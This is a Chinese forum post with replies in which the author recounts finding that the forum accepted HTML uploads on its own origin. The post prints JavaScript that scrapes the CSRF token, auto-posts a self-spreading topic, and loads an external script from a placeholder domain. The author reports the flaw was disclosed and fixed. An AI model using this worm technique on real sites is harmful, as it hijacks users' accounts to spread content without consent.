关于本论坛的"蠕虫"发现过程
发布于 3 个月前 阅读权限 无需登录 作者 00theway 1748 次浏览 来自 案例分享

闲来无事看看论坛的功能,论坛功能真的是非常的精简

其中论坛有一个上传图片的地方,但是论坛是那nodejs写的,随便传也不能执行啊,于是试了下html居然能上传成功,然后看了下地址是同网站的,也就是同源,这时候就可以在里边随便写点什么了,反正不受同源策略的影响。 然后做点什么呢?写个蠕虫让看到的人发个跟楼主一样的帖子吧😁

于是去看了下发帖的功能,发现有csrf 的token,此时可以通过get请求先获取token在发帖 访问https://threathunter.org/topic/create 在内容里边会返回一个csrf的token,可以通过正则什么的吧token取出来, 这里用的是切割字符串的方式获取token

$.get('https://threathunter.org/topic/create',function(rst){
var csrf = rst.split("_csrf' value='")[1].split("'>")[0];console.log(csrf);
  })

获取完token就可以构造数据包发帖了

 var content = '[这是谁写的啊](xxxxx)';
$.post("/topic/create",{tab:'no_name',title:'这是什么东西',t_content:content,topic_tags:'',_csrf:csrf},function(result){
   });

这时候遇到一个问题,想要让点击的人发同样的帖子就要提前知道帖子的内容,其中帖子内容里有上传的html的地址, html内容发包时又要确定发帖内容,成了死循环。

于是在html里边嵌入外站js文件(论坛是https只能引入htps链接的js文件),先上传上去确定html,

<script src="/public/index.min.f7c13f64.min.js"></script>
<script src="https://youdomain.com/1.js"></script>

传上去后确定了HTML文件的地址,然后回过头来写发帖的js代码 完整的代码如下

$.get('https://threathunter.org/topic/create',function(rst){
var csrf = rst.split("_csrf' value='")[1].split("'>")[0];console.log(csrf);
 var content = '[这是谁写的啊](html地址)';
$.post("/topic/create",{tab:'no_name',title:'这是什么东西',t_content:content,topic_tags:'',_csrf:csrf},function(result){
   });
  })
alert(1);

找不到自动触发的xss因此需要点击触发,链接是论坛自己的,配上诱人描述会有不少人看了都会点进去吧😁 xss.png 已联系管理员修复上传

image.png 传送门 匿名区

32 回复

@00theway 感谢小伙伴发现的问题,已赠送20社区积分作为奖励。

@admin 积分有什么用啊 我都-50了

@00theway 目前积分的确是有点问题,后期会上线激励政策,到时候积分都有用了,包括后期优质资源的阅读都是需要积分作为门槛的。

可以上html就比较尴尬了。

@spider 能找一个xss就能自动传播了😁

厉害了。。6666

群里高手很多。我是来学习的

黑客 膜一个

6666html都能传

社区的各位都是大佬~~

厉害了大佬,6666

居然能上传html

厉害了我的html

厉害了老哥

论坛都是大佬,我是来学习的

谢谢大佬,学习了

论坛都说大老,我只是来学习的

这个比较厉害了

厉害了。。。。。。。

回到顶部